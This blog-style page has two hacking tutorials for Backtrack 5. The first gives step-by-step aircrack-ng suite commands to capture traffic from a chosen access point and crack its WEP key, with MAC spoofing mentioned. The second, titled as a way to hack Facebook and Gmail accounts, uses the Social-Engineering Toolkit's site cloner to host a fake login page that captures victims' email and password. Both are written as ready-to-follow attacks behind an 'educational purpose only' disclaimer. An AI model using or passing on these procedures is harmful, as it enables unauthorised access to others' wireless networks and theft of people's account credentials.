WEP CRACKING ON BACKTRACK 5

WEP CRACKING

On Backtrack 5 Full Tutorials

AIM 

• This tutorial aim is to guide you the process of WEP CRACKING On Backtrack 5 .

Should have a knowledge of these term:

• AP : stands for Access Point or a wireless router .
• MAC Address : stands for ;Media Access Control ,its a unique address , It is in the Hexadecimal format like 00:6B:6B:2F:C8:C8  .
• BSSID : It is the AP Mac Address.
• ESSID : It shows the AP broadcasting name .
• WEP : stands for Wired Equivalency Protocol .
• WEP is a security protocol for Wifi (Wireless fidility) Networks.

Tools used to Crack WEP are:

1. iwconfig : A tool that for configure wireless adapter 
2. macchanger : A tool that allow you to spoof your Mac Address.
3. airmon - a tool that set your wireless adapter into monitor mode .
4. airodump - a tool that capture packet from the wireless router.
5. aireplay - a tool for forging ARP request.
6. aircrack - a tool for decrypting WEP keys .

Requirements 

1. Backtrack 5 distro.
2. Wireless Adapter Card 

Lets start the Procedure -

Step 1 : Open a new konsole on Backtrack 5 

• See the image how to open konsole on Backtrack 5 .

Step 2 : Type the command shown below -

• Command 1: ifconfig wlan0
• Command 2: iwconfig wlan0
• See the image below for more details - 

Step 3: Put your Wifi adapter card on Monitor Mode 

• Open a new konsole and enter the command shown below - 
• Type the following command to put your card into Monitor mode .
• Command : airmon-ng start (your interface)
• Example : airmon-ng start wlan0
• A message is also display on the screen that your monitor mode is enabled.
• See the image for more details - 

Step 4: Display the monitor mode .

• New monitor mode created named mon0 
• To see the monitor mode enter the command shown below -
• Command : iwconfig 
• See the image for more details -

Step 5: Finding a Target

• Now we have to find the network that is protected by the WEP .
• To find those networks we use a simple command shown below - 
• Command : airodump-ng mon0 
• Here airodump-ng is the command to start the program
• mon0 is the new interface which you created in the earlier step .
• See the image below for more details -

Step 6: Capture the data into file 

• To capture the data we use airodump tool with additional switches like --bssid ( mac address), -c (channel), -w (filename )
• Syntax of the commands is - 
• Command : airodump-ng mon0 --bssid (Mac Address) -c (channel no.) -w (filename)
• Example : airodump-ng mon0 --bssid 00:08:68:2F:C8:C8 -c 1 -w WEPkey
• See the image below for more details - 

Step 7: Open Home Directory to check WEPkey file is created or not .

• Open the Home Directory .
• Check your WEPkey file is created or not .
• See the image below - Image shows WEPkey file is created and saved in the home directory.

Step 8: Crack the WEP Key using Aircrack Tool 

• Open a new konsole . 
• Then enter the command  : aircrack-ng (file name)
• Example : aircrack-ng WEPkey-01.cap
• Withing  a minute aircrack will decrypt your WEP key as shown in the image .
• See the image below.
•   canuhack.blogspot.com

• This is how we can WEP  CRACKING on Backtrack 5 .
• If you like this article , then drop a comment .
• I hope you like this article on WEP CRACKING on Backtrack 5

THIS ARTICLE IS JUST FOR EDUCATIONAL PURPOSE ONLY

DO AT YOUR OWN RISK , I AM NOT RESPONSIBLE IF ANYTHING HAPPEN WITH YOU.

Read more ...

Hack Facebook and Gmail account using Backtrack 5

Open your backtrack 5’s terminal and type cd /pentest/exploits/set

Now Open social Engineering Tool kit (SET) ./set

Just hit ENTER and SET will Open , Now just select 1st option (1 Social-Engineering Attacks) and hit enter after that 2nd number (just type 2 as shown in snapshot)

Now Just select 4th Option “Tabnabbing Attack Method” and Hit ENTER

Then select 2nd option “Site Cloner” and Hit ENTER

Now here you need to add the URL of Facebook (if you want to hack gmail then just add the gmail’s URL)

Now just hit the enter.

Open new terminal and just type ifconfig and hit ENTER

Now just copy this IP address and open it in Browser.

Now here I am just typing test email and password to see whether it works or not.

Now just hit enter and switch back to our terminal and we found the Email and password !

This tutorial is just educational purpose only.

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